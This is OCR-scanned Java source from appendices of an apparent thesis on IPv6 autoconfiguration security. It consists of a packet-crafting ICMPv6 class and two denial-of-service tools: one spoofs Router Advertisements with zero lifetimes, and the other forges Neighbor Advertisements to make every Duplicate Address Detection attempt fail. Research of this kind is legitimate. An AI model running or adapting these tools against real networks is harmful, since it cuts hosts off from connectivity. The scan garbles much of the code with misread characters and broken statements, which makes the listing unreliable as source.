import jpcap.packet.EthernetPacket; 
import jpcap.packet.Packet; 
import jpcap.JpcapSender; 

/* 

* ICMP6.java 

★ 

* This Class was developed to support the implementation 

* of DOS attacks to the host autoconfiguration procedure 

* in IPv6. It supplements the Jpacp library and 

* represents an ICMP packet. 

* 

* Developed in NetBeans IDE 5.0 

* Makes use of Jpcap 0.5.1 library 

* (http://netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html) 

■k 

*/ 

public class ICMP6 { 

^ -k -k 

* Starting Byte of Link-layer Header "Destination Address" 

* field 
*/ 

public static final short LINK_DESTINATION_BYTE = 0; 

^ -k -k 

* Starting Byte Link-layer Header "Source Address" field 

* (the field length is 6 bytes) 

*/ 

public static final short LINK_SOURCE_BYTE = 6; 

^ -k -k 

* Byte of the Link-layer Header "Packet Type" field 

* (the field length is 6 bytes) 

*/ 

public static final short PACKET_TYPE = 12; 

^ -k -k 

* Byte of the Network-layer Header "Version - Priority" 

* field 
*/ 

public static final short VERSION_PRIORITY_BYTE = 0; 

^ -k -k 

* Starting Byte of the Network-layer Header "Payload 

* Length" field (field is two bytes long) 

*/ 
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4; 


public static final short PAYLOAD_LENGTH_BYTE = 

^ -k -k 

* Byte of the Network-layer Header "Next Header" field 
*/ 

public static final short NEXT_HEADER_BYTE = 6; 

^ -k -k 

* Byte of the Network-layer Header "Hop Limit" field 
*/ 

public static final short HOP_LIMIT_BYTE = 7; 

^ -k -k 

* Starting Byte of the Network-layer "Source Address" 

* field (field length is 8 bytes) 

*/ 

public static final short SOURCE_BYTE = 8; 

^ -k -k 

* Starting Byte of the Network-layer "Destination 

* Address" field (field length is 8 bytes) 

*/ 

public static final short DESTINATION_BYTE = 24; 

^ -k -k 

* Starting Byte of Network-layer's payload 
*/ 

public static final short PAYLOAD_BYTE = 40; 

^ -k -k 

* Byte of the ICMP Header "ICMP Type" field 
*/ 

public static final short ICMP_TYPE_BYTE = 40; 

^ -k -k 

* Byte of the ICMP Header "ICMP Code" field 
*/ 

public static final short ICMP_CODE_BYTE = 41; 

^ -k -k 

* Starting Byte of ICMP Header "ICMP Checksum" field 

* (field length is 2 bytes) 

*/ 

public static final short ICMP_CHECKSUM_BYTE = 42; 

^ -k -k 

* Starting Byte of the ICMP Body 
*/ 

public static final short ICMP_BODY_BYTE = 44; 

^ -k -k 

* Byte of the ICMP Neighbor Advertisement 

* Flags field 
*/ 

public static final short NA_FLACS_BYTE = 44; 

^ -k -k 
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* starting Byte of the ICMP Neighbor Advertisement 

* "Target Address" field (field length is 8 bytes) 

*/ 

public static final short NA_TARGET_BYTE = 48; 

^ -k -k 

* Starting Byte of the ICMP Neighbor Advertisement 

* Options headers 
*/ 

public static final short NA_OPTIONS_BYTE = 64; 

^ -k -k 

* Byte of the ICMP Router Advertisement "Autoconfiguration 

* Flags" fields 
*/ 

public static final short AUTO_CONFIG_FLAGS = 45; 

^ -k -k 

* Byte of the ICMP Router Advertisement "Router Lifetime" 

* field 
*/ 

public static final short ROUTER_LIFETIME = 46; 

^ -k -k 

* Byte of the ICMP Router Advertisement "Reachable time" 

* field (field length 4 bytes) 

*/ 

public static final short REACHABLE_TIME = 48; 

^ -k -k 

* Byte of the ICMP Router Advertisement "Retransmission 

* Timer" field 
*/ 

public static final short RETRANSMISSION_TIMER = 52; 

^ -k -k 

* Starting Byte of the ICMP Router Advertisement Options 

* Headers 
*/ 

public static final short RA_OPTIONS_BYTE = 56; 

^ -k -k 

* ICMP pseudo header length 
*/ 

public static final short ICMP_PSEUDO_LENGTH = 40; 

^ -k -k 

* Minimum Value of the Network Layer Header 

* "Version Priority" field for IPv6 
*/ 

public static final int VERSION_PRIORITY_MIN = 96; 

^ -k -k 

* Value of the Network Layer Header "Next-Header" 

* field indicating ICMPv6 
*/ 

public static final int NEXT_HEADER_ICMP = 58; 
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^ -k -k 

* Value of ICMPvG Type for "Echo request" message 
*/ 

public static final short ECHO_REQUEST = 128; 

^ -k -k 

* Value of ICMPvG Type for "Echo reply" message 
*/ 

public static final short ECHO_REPLY = 129; 

^ -k -k 

* Value of ICMPvG Type for "Echo multicast listener 

* report" message 
*/ 

public static final short MLR = 131; 

^ -k -k 

* Value of ICMPvG Type for "Router Solicitation" 

* message 
*/ 

public static final short RS = 133; 

^ -k -k 

* Value of ICMPvG Type for "Router Advertisement" 

* message 
*/ 

public static final short RA = 134; 

y' -k -k 

* Value of ICMPvG Type for "Neighbor Solicitation" 

* message 
*/ 

public static final short NS = 135; 

^ -k -k 

* Value of ICMPvG Type for "Neighbor Advertisement" 

* message 
*/ 

public static final short NA = 136; 

^ -k -k 

* Value of ICMPvG Type for "Redirect" message 
*/ 

public static final short REDIRECT = 137; 

I -k -k 

* Value of the ICMPvG Option Header for a 

* "Source Link Layer Address" option 
*/ 

public static final short SOURCE_LINK_LAYER_ADDRESS = 1; 

^ -k -k 

* Value of the ICMPvG Option Header for a 

* "Target Link Layer Address" option 
*/ 

public static final short TARGET_LINK_LAYER_ADDRESS = 2; 
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! -k -k 

* Value of the ICMPvG Option Header for a 

* "Prefix Information" option 
*/ 

public static final short PREFIX_INFORMATION = 3; 

! -k -k 

* Value of the ICMPvG Option Header for an 

* "MTU" option 
*/ 

public static final short MTU = 5; 

^ -k -k 

* Byte of the ICMPvG Option Header "Option Length" field 

* (byte count from the start of the Option Header) 

*/ 

public static final short OPTION_LENGTH_BYTE = 1; 

^ -k -k 

* Starting Byte of the ICMPvG Option "Link Layer Address" 

* field (field length 6 Bytes - byte count from the start 

* of the Option Header) 

*/ 

public static final short OPTION_LINK_LAYER_ADDRESS = 2; 

! -k -k 

* Byte of the Router Advertisement Prefix Option 

* "Prefix Flags" field (byte count from the start of the 

* Option) 

*/ 

public static final short PREFIX_FLAGS_BYTE = 3 ; 

^ -k -k 

* Byte of the Router Advertisement Prefix Option "Prefix 

* Valid Lifetime" field (byte count from the start of the 

* Option) 

*/ 

public static final short PREFIX_VALID_LIFETIME_BYTE = 4; 

^ -k -k 

* Byte of the Router Advertisement Prefix Option "Prefix 

* Preferred Lifetime" field (byte count from the start of the 

* Option) 

*/ 

public static final short PREFIX_PREFERRED_LIFETIME_BYTE = 8; 

^ -k -k 

* Starting Byte of the Router Advertisement Prefix Option "Prefix" 

* field (byte count from the start of the Option) 

*/ 

public static final short PREFIX_BYTE = 16; 

/** Data Member : The Jpcap.packet.Packet object */ 

Packet p; 

/** Converter From Packet to ICMP6 */ 
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public ICMP6(Packet p) { 
if ( isICMP6(p) ) { 

this.p = p; 


else { 

System.out.printin("Error, Not an ICMPvG packet!"); 


! -k -k 

* Generator of various ICMPvG messages. 

* Currently only the Neighbor Advertisement is implemented. 

* Developper must provide Link Layer Header, Source, 

* Destination and Target Address, Option header's 

* Target Link Layer Address, and calculate the checksum. 

* A modification of the Flags (initialized to zeros) may 

* be needed. 

* 

* @param type the type of ICMPvG to be generated 

•k 

*/ 

public ICMP6(short type) { 
switch (type) { 
case NA : 

this.p = new Packet (); 

// standard fields 
p.data = new byte[72]; 

p.data[VERSION_PRIORITY_BYTE] = (byte) 0x60; 
for (int i=l; i<4; i++) { 

p.data[VERSION_PRIORITY_BYTE + i] =0; 

} 

p.dat a[PAYLOAD_LENGTH_BYTE] = 0; 

p.data[PAYLOAD_LENGTH_BYTE + 1] = (byte) 32; 

p.data[NEXT_HEADER_BYTE] = (byte) 

NEXT_HEADER_ICMP; 

p.data[HOP_LIMIT_BYTE] = (byte) Oxff; 
p.data[ICMP_TYPE_BYTE] = (byte) NA; 
p.data[ICMP_CODE_BYTE] = 0; 
for (int i=l; i<4; i++) { 

p.data[NA_FLAGS_BYTE + i] =0; 

} 

p.data[NA_OPTIONS_BYTE] = TARGET_LINK_LAYER_ADDRESS 
p.data[NA_OPTIONS_BYTE + OPTION_LENGTH_BYTE] = 

(byte) 1; // 8 bytes 


break; 



^ -k -k 

* This method checks whether a Packet is an ICMPvG 

★ 

* @param p the Packet to be checket 

* @return true if the Packet is ICMPvG 

* 

*/ 

public static boolean isICMPG(Packet p) { 
boolean isICMPvG = false; 

if ( p.data[VERSION_PRIORITY_BYTE] >= VERSION_PRIORITY_MIN && 
p.data[NEXT_HEADER_BYTE] == NEXT_HEADER_ICMP ) { 

isICMPvG = true; 


return isICMPvG; 


^ -k -k 

* Returns the Link-Layer source address 

★ 

* @return the Link Layer Source address as a byte array 

•k 

*/ 

public byte[] getLinkSourceAddress() { 

byte[] src = new byte[6]; 
for (int i=0; i<6; i++) { 

src[i] = p.header[LINK_SOURCE_BYTE + i]; 

} 

return src; 


^ -k -k 

* Returns the Link-Layer destination address 

★ 

* @return the Link-Layer Destination address as a byte array 

★ 

*/ 

public byte[] getLinkDestinationAddress() { 

byte[] dst = new byte[6]; 
for (int i=0; i<6; i++) { 
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dst[i] 


= p.header[LINK_DESTINATION_BYTE + i]; 


} 

return dst; 


/** Returns the Type of the ICMPvG 

■k 

* @return the Type of the ICMP 

■k 

*/ 

public int getTypeO { 

int type = (int) p.data[ICMP_TYPE_BYTE]; 
if ( type < 0 ) type+=256; 

return type; 


^ -k -k 

* Returns the IPv6 source address 

★ 

* @return The IPv6 Source Address of the ICMPv6 

★ 

*/ 

public Inet6Address getSourceAddress() 

throws UnknownHostException { 

byte[] sourceArray = new byte[16]; 
for (short i=0; i < 16; i++) { 

sourceArray[i] = p.data[SOURCE_BYTE+i]; 


} 

Inet6Address sourceAddress = 

(Inet6Address) Inet6Address.getByAddress(sourceArray) 

return sourceAddress; 


^ -k -k 

* Returns the IPv6 

★ 

* @return The IPv6 

★ 

*/ 

public Inet6Address 


Destination Address address 
Destination Address 


getDestinationAddress() 

throws UnknownHostException { 


byte[] dstArray = new byte[16]; 
for (short i=0; i < 16; i++) { 



dstArray[i] 


= p.data[DESTINATION_BYTE+i]; 


} 

InetGAddress dstAddress = 

(InetGAddress) InetGAddress.getByAddress(dstArray); 
return dstAddress; 


^ -k -k 

* Returns the Target Address of a NA or NS 

•k 

* @return The IPv6 Target Address of the NA or NS 

•k 

*/ 

public InetGAddress getTargetAddress() 

throws UnknownHostException { 


byte[] tArray = new byte[16]; 
for (short 1=0; i<16; i++) { 

tArray[i] = p.data[NA_TARGET_BYTE + 1]; 


InetGAddress tAddress = 

(InetGAddress) InetGAddress.getByAddress(tArray) 
return tAddress; 


^ -k -k 

* Returns the checksum of the ICMPv6 

★ 

* @return The checksum value of the ICMPvG 

•k 

*/ 

public int getChecksum() { 

int cks = (int) p.data[ICMP_CHECKSUM_BYTE]; 
return cks; 


^ -k -k 

* Sets the DataLink Header to the ICMPv6 packet 

★ 

* @param dl The data-link header 

★ 

*/ 

public void setDataLink(DatalinkPacket dl) { 
p.datalink = dl; 
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^ -k -k 

* Sets the IPv6 Source Address 

•k 

* @param src the IPv6 Source Address 

* 

*/ 

public void setSourceAddress(Inet6Address src) { 
for (int i=0; i<16; i++) { 

p.data[SOURCE_BYTE + i] = src.getAddress()[i]; 


^ -k -k 

* Sets the IPv6 Destination Address 

★ 

* @param dst the IPv6 Destination Address 

★ 

*/ 

public void setDestinationAddress(Inet6Address dst) { 
for (int i=0; i<16; i++) { 

p.data[DESTINATION_BYTE + i] = dst.getAddress()[i]; 


^ -k -k 

* Sets the ICMPv6 Type 

★ 

* @param type the ICMPv6 Type 

•k 

*/ 

public void setType(int type) { 

p.data[ICMP_TYPE_BYTE] = (byte) type; 


^ -k -k 

* Sets the RA Router Lifetime 

★ 

* @param routerLifetime the Router Lifetime 

★ 

*/ 

public void setRouterLifetime(int routerLifetime) { 

p.data[ROUTER_LIFETIME] = (byte) (routerLifetime & OxFFOO) 
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p.data[ROUTER_LIFETIME + 

} 


1 ] = 
(byte) 


(routerLifetime & OxOOFF); 


* Sets the NA - RA solicited Flag 

★ 

* @param sol if True the Flag (bit) is set to 1 

★ 

*/ 

public void setSolicited(boolean sol) { 


// reset 2nd bit to 0 
p.data[NA_FLAGS_BYTE] = 

(byte) (p.data[NA_FLAGS_BYTE] & Oxbf) ; 
if (sol) { 

// set 2nd bit to 1 
p.data[NA_FLAGS_BYTE] = 

(byte) (p.data[NA_FLAGS_BYTE] | 0x40) ; 


* Sets the NA - RA override Flag 

★ 

* @param or if True the Flag (bit) is set to 1 

■k 

*/ 

public void setOverride(boolean or) { 


// reset 3nd bit to 0 
p.data[NA_FLAGS_BYTE] = 

(byte) (p.data[NA_FLAGS_BYTE] & Oxdf) ; 
if (or) { 

// set 3nd bit to 1 
p.data[NA_FLAGS_BYTE] = 

(byte) (p.data[NA_FLAGS_BYTE] | 0x20) ; 


^ -k -k 

* Sets the NS - NA Target Address 

★ 

* @param adr the IPv6 Target Address 

★ 

*/ 

public void setTargetAddress(InetGAddress adr) 
throws UnknownHostException { 
for (short i=0; i<16; i++) { 

p.data[NA_TARGET_BYTE + i] = adr.getAddress()[i]; 

} 
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} 


^ -k -k 

* Sets the type of the ICMPvG Option Header 

■k 

* @param type The Option Header Type 

* 

*/ 

public void setOptionType(int type) { 

p.data[NA_OPTIONS_BYTE] = (byte) type; 


^ -k -k 

* Sets the ICMPvG Option Header Length 

■k 

* @param bytes the Option Length in units of Bytes 

■k 

*/ 

public void setOptionLength(int bytes) { 

p.data[NA_OPTIONS_BYTE + OPTION_LENGTH_BYTE] = 
(byte) bytes; 


^ -k -k 

* Sets the ICMPvG Option Link-Layer Address 

■k 

* @param src the Option Link-Layer Address 

* 

*/ 

public void setOptionLinkAddress(byte[] src) { 

for (int i=l; i<6; i++) { 

p.data[NA_OPTIONS_BYTE + 

OPTION_LINK_LAYER_ADDRESS + i] = src[i]; 


^ -k -k 

* Sets the RA Option Prefix Lifetimes 

* the same lifetimes are set for all the prefixes 

* advertised by the particular RA. 

* 

* @param valid the valid lifetime in units of seconds 

* @param preferred the preferred lifetime in units of seconds 

•k 
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*/ 

public void setPrefixLifetime( int valid , int preferred ) { 


int lastOptionByte = RA_OPTIONS_BYTE; 
int iterator = 0; 

while ( p.data.length > lastOptionByte ) { 

if ( p.data[lastOptionByte] == PREFIX_INFORMATION ) { 

// four bytes for valid lifetimes 

p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE] 

= (byte) (valid / OxFFFFFF ); 
p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE + 1] 
= (byte) (valid % OxFFFFFF / OxFFFF); 
p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE + 2] 
= (byte) (valid % OxFFFF / OxFF); 
p.data[lastOptionByte + PREFIX_VALID_LIFETIME_BYTE + 3] 
= (byte) (valid & OxFF); 

p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE] 
= (byte) (preferred / OxFFFFFF ); 
p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE 
+ 1] = (byte) (preferred % OxFFFFFF / OxFFFF); 
p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE 
+ 2] = (byte) (preferred % OxFFFF / OxFF); 
p.data[lastOptionByte + PREFIX_PREFERRED_LIFETIME_BYTE 
+ 3] = (byte) (preferred & OxFF); 


int lastOptionLength = p.data[lastOptionByte 
+ OPTION_LENGTH_BYTE]; 
lastOptionByte += (lastOptionLength * 8); 
iterator++; 


^ -k -k 

* calculates and sets the ICMPvG Payload length 

■k 

■k 

*/ 

public void calculatePayloadLength() { 

int length = ( p.data.length - PAYLOAD_BYTE ); 
p.data[PAYLOAD_LENGTH_BYTE] = (byte) (length / OxFF); 
p.data[PAYLOAD_LENGTH_BYTE] = (byte) (length & OxFF); 


^ -k -k 

* calculates and sets the ICMPvG checksum 
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*/ 

public void calculateChecksum() { 


int length = p.data.length - ICMP_TYPE_BYTE 
ICMP_PSEUDO_LENGTH; 


byte[] checksumBytes = new byte[length]; 


//ICMP pseudo-header 


checksumBytes[0] 
checksumBytes[1] 
checksumBytes[2] 
checksumBytes[3] 
checksumBytes[4] 
checksumBytes[5] 
checksumBytes[6] 
checksumBytes[7] 


0 ; 

0 ; 

0 ; 

(byte) 58; 
p.data[4]; 
p.data[5]; 

0 ; 

0 ; 


// payload length 
// payload length 


// rest of pseudo-header 

for (int 1=8; 1 < ICMP_PSEUDO_LENGTH ; i++) { 

checksumBytes[1] = p.data[i]; 

} 


// beggining of icmp header 

checksumBytes[ICMP_TYPE_BYTE] = p.data[ICMP_TYPE_BYTE]; 
checksumBytes[ICMP_CODE_BYTE] = p.data[ICMP_CODE_BYTE]; 

//zeros for the checksum 
checksumBytes[ICMP_CHECKSUM_BYTE] = 0; 
checksumBytes[ICMP_CHECKSUM_BYTE +1] =0; 

// icmp payload 

for (int 1 = ICMP_BODY_BYTE; 1 < length; i++) { 

checksumBytes[1] = p.data[i]; 

} 


int sum =0; // the checksum 

int 1; 

for(i = 0; 1 < length; i+=2) { 

// put bytes in ints so we can forget about sign-extension 
int 11 = checksumBytes[1] & Oxff; 

// zero-pad, maybe 

int 12 = (i + 1 < length ? checksumBytes [i + 1] & Oxff 

sum += ((11 << 8) + 12); 
while( (sum & Oxffff) != sum ) { 

sum &= Oxffff; 
sum += 1; 

} 

} 

sum = ~sum & OxFFFF; 

p.data[ICMP_CHECKSUM_BYTE] = (byte) ((sum & OxFFOO) >> 8); 
p.data[ICMP_CHECKSUM_BYTE+1] = (byte) (sum & OxFF); 
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} 

^ -k -k 

* Sends an ICMPvG packet 

★ 

* @param sender the jpcap.JpcapSender object 

★ 

*/ 

public void send(jpcap.JpcapSender sender) { 
sender.sendPacket(p) ; 

} 

} 
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APPENDIX B. CLASS RLD JAVA CODE 


/* 

* RLD.java 

■k 

* This software was developed as part of a thesis research on IPv6 

* host autoconfiguration security issues 
*/ 

package Rid; 

import java.io.lOException; 

import java.net.UnknownHostException; 

import jpcap.*; 

import jpcap.packet.IPPacket; 

import jpcap.packet.ICMPPacket; 

import jpcap.packet.Packet; 

import jpcap.packet.EthernetPacket; 

import jpcap.packet.TCPPacket; 

import java.net.InetGAddress; 

import java.util.*; 

import ICMP6.ICMP6; 

y' ★ * 

* This class implements the Router Lifetime Decreaser 
*/ 

public class Rid implements PacketReceiver { 

^ -k -k 

* Fake Router Lifetime 
*/ 

public static final int FAKE_ROUTER_LIFETIME = 0; 

^ -k -k 

* Fake Prefix Valid Lifetime 
*/ 

public static final int FAKE_VALID = 0; //seconds 

^ -k -k 

* Fake Prefix preferred Lifetime 
*/ 

public static final int FAKE_PREFERRED = 0; //seconds 

^ -k -k 

* the network interface of the tool 
*/ 

private static short networkinterface ; 

^ -k -k 

* the array of the interfaces 
*/ 

private static Networkinterface[] devices = null; 

^ -k -k 

* the JpcapCaptor object 
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*/ 

private static JpcapCaptor jpcap = null; 

^ -k -k 

* the JpcapSender object 
*/ 

private static JpcapSender sender = null; 


^ -k -k 

* A member to hold the sent Router Advertisement 
*/ 

private static ICMP6 fakeRASent = null; 

^ -k -k 

* a flag that indicates if a router advertisement 

* has already been received 
*/ 

private static boolean firstReceived = true; 

^ -k -k 

* the value for the jpcapCaptor snaplen 
*/ 

private static int snaplen = 2000; 

^ -k -k 

* the value for the interface's mode 
*/ 

private static boolean promise = true; 

^ -k -k 

* the value for the jpcapCaptor to_ms 
*/ 

private static int to_ms = 20; 


public static void main(String[] args) throws lOException { 

devices = JpcapCaptor.getDeviceList() ; 

if(args.length<l){ 
help (); 

} 

else { 

networkinterface = Short.parseShort(args[0]); 
jpcap = JpcapCaptor.openDevice(devices[networkinterface] 
, snaplen, promise, to_ms); 
jpcap.loopPacket(-1, new Rld()); 



^ -k -k 

* implements method receivePacket of interface 

* Jpcap.PacketReceiver to handle the received packet 
*/ 

public void receivePacket(Packet packet) { 
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// ignore packets with length zero 
if (packet.data.length == 0) return; 

if ( ICMP6.isICMP6(packet) ){ 

ICMP6 p = new ICMP6(packet) ; 

switch (p.getType()) { 

case ICMP6.RA : 

try { 

System.out.printIn("Router Advertisement " + 
"from " + p.getSourceAddress()); 

} catch (UnknownHostException ex) { 
ex.printStackTrace() ; 

} 

routerSpoof (p); 
break; 


^ -k -k 

* implements the router's parameter spoofing 
*/ 

private void routerSpoof(ICMP6 packet) { 
try { 

sender=JpcapSender.openDevice(devices[networkinterface]); 

if (firstReceived || !( packet.getChecksum() == 

fakeRASent.getChecksum() )){ 

// spoof the parameters 

packet.setPrefixLifetime(FAKE_VALID, FAKE_PREFERRED) ; 
packet.setRouterLifetime(FAKE_ROUTER_LIFETIME); 

// calculate and set the new checksum 
packet.calculateChecksum() ; 

// send the fake RA 
packet.send(sender) ; 

System.out.printIn("Router Lifetime decreased to " + 
FAKE_ROUTER_LIFFTIME + "seconds"); 

System.out.print("Prefix Lifetimes decreased to " + 

FAKE_VALID + " (valid) and " + FAKE_PREFERRED 
+ " (preferred) seconds "); 
fakeRASent = packet; 

// set the flag 
firstReceived = false; 
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catch (lOException ex) { 

System.out.printIn("senderException" ) ; 

}; 


^ -k -k 

* provides error checking for the RLD's correct command line 

* input 

* 


*/ 

private static void help(){ 

System.out.println( 

"usage: java Rid <select a number from the following>"); 
for (int i = 0; i < devices.length; i++) { 

System.out.println(i + " + devices[i].name + "(" + 

devices[i].description + ")" + "\n" + 

" data link:" + devices[i].datalink_name + "(" + 
devices[i].datalink_description + ")" ); 

System.out.print(" MAC address:"); 

for (byte b : devices[i].mac_address) 

System.out.print(Integer.toHexString(b&Oxff) + ); 

System.out.println(); 

for (NetworkinterfaceAddress a : devices[i].addresses) 

System.out.printin(" address:" + a.address + " " + 
a.subnet + " " + a.broadcast); 


return; 

} 


} 
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APPENDIX C. CLASS DCG JAVA CODE 


/* 

* Deg.java 

■k 

* This software was developed as part of a thesis research on IPv6 

* host autoconfiguration security issues 

•k 

*/ 


package Deg; 


import 

import 

import 

import 

import 

import 

import 

import 

import 

import 

import 


java.io.lOException; 

java.net.UnknownHostException; 

jpeap.*; 

jpeap.packet.IPPacket; 
jpeap.packet.ICMPPacket; 
jpeap.packet.Packet; 
jpeap.packet.EthernetPacket; 
jpeap.packet.TCPPacket; 
java.net.InetGAddress; 
java.util.*; 

ICMP6.ICMP6; 


^ -k -k 

* this class implements the DAD collision generator 
*/ 

public class Deg implements PacketReceiver { 


^ -k -k 

* All nodes Link Layer Address 
*/ 

public static final byte[] LINK_ALL_NODES = 

{(byte)0x33, (byte)0x33, 0, 0, 0, (byte)1 }; 


^ -k -k 

* All nodes IPv6 Address 
*/ 

public static final byte[] ALL_NODES_BYTES = 

{(byte)Oxff, (byte)0x02, 0, 0, 0, 0, 0, 0, 0, 0, 

0, 0, 0, 0, 0, (byte)!}; 


^ -k -k 

* Unspecified IPv6 Address 
*/ 

public static final byte[] UNSPEC_BYTES= 

{ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 01 ; 

y' -k -k 

* the network interface of the tool 
*/ 

public static short networkinterface = 0; 


83 



^ -k -k 

* the array of the interfaces 
*/ 

private static Networkinterface[] devices = null; 

^ -k -k 

* the JpcapCaptor object 
*/ 

private static JpcapCaptor jpcap = null; 

^ -k -k 

* the JpcapSender object 
*/ 

private static JpcapSender sender = null; 

^ -k -k 

* the Random generator (for random MAC address 

* generation) 

*/ 

Random generator = new Random(); 

^ -k -k 

* the fake (colliding address) Neighbor Advertisement 
*/ 

public static ICMP6 fakeNA = new ICMP6(ICMP6.NA); 

I -k -k 

* the value for the jpcapCaptor snaplen 
*/ 

private static int snaplen = 2000; 

^ -k -k 

* the value for the interface's mode 
*/ 

private static boolean promise = true; 

^ -k -k 

* the value for the jpcapCaptor to_ms 
*/ 

private static int to_ms = 20; 

public static void main(String[] args) throws lOException { 

devices = JpcapCaptor.getDeviceList() ; 

if(args.length<l){ 
help (); 

} 

else { 

networkinterface = Short.parseShort(args[0]); 
jpcap = JpcapCaptor.openDevice(devices[networkinterface] , 
snaplen, promise, to_ms); 
jpcap . loopPacket (-1, new DegO); 
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^ -k -k 

* implements method receivePacket of interface 

* Jpcap.PacketReceiver 
*/ 

public void receivePacket(Packet packet) { 

// ignore zero-length packets 
if (packet.data.length == 0) return; 

if ( ICMP6.isICMP6(packet) ){ 

// create the ICMP6 packet 
ICMP6 p = new ICMP6(packet); 

switch (p.getType()) { 

case ICMP6.NS : 

try { 

System.out.printin("Neighbor Solicitacion " + 
"from + p.getSourceAddress()); 
if (p.getSourceAddress().equals((Inet6Address) 
InetGAddress.getByAddress(UNSPEC_BYTES))) 

{ 

neighbourSpoof(p); 

} 

} catch (UnknownHostException ex) { 
ex.printStackTrace() ; 

} 


break; 


^ -k -k 

* implements the neighbour spoofing 
*/ 

private void neighbourSpoof(ICMP6 packet) { 
try { 

sender=JpcapSender.openDevice(devices[networkinterface]) ; 

// create random link source address keeping 

// same first two bytes 

byte[] linkSrc = new byte[6]; 

linkSrc[0] = packet.getLinkSourceAddress()[0]; 
linkSrc[l] = packet.getLinkSourceAddress()[1]; 
for (int i=2; i<6; it+) { 

linkSrc[i] = (byte) (generator.nextint () & OxFF); 

} 
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fakeNA.setSourceAddress(packet.getTargetAddress()) ; 
fakeNA.setDestinationAddress((InetGAddress) 

InetGAddress.getByAddress(ALL_NODES_BYTES)) ; 
fakeNA.setSolicited(false) ; 
fakeNA.setOverride(true) ; 

fakeNA.setTargetAddress(packet.getTargetAddress()) ; 
fakeNA.setOptionLinkAddress(linkSrc) ; 

fakeNA.calculateChecksum(); 

EthernetPacket ether=new EthernetPacket(); 
ether.frametype=EthernetPacket.ETHERTYPE_IPVG; 
ether.src_mac = linkSrc; 
ether.dst_mac = LINK_ALL_NODES; 
fakeNA.setDataLink(ether); 

fakeNA.send(sender) ; 

} catch (lOException ex) { 
ex.printStackTrace() ; 

} 


^ -k -k 

* provides error checking for the Deg's correct command line 

* input 

■k 


* / 

private static void help(){ 

System.out.println( 

"usage: java Deg <select a number from the following>") 
for (int i = 0; i < devices.length; i++) { 

System.out.println(i + " + devices[i].name + "(" + 

devices[i].description + ")" + "\n" + 

" data link:" + devices[i].datalink_name + 

"(" + devices[i].datalink_description + ")" ); 
System.out.print(" MAC address:"); 
for (byte b : devices[i].mac_address) 

System.out.print(Integer.toHexString(b&Oxff) + 
System.out.println(); 

for (NetworkinterfaceAddress a : devices[i].addresses) 
System.out.printIn(" address:" + a.address + 

" " + a.subnet + " " + a.broadcast); 


) ; 


return; 

} 


} 
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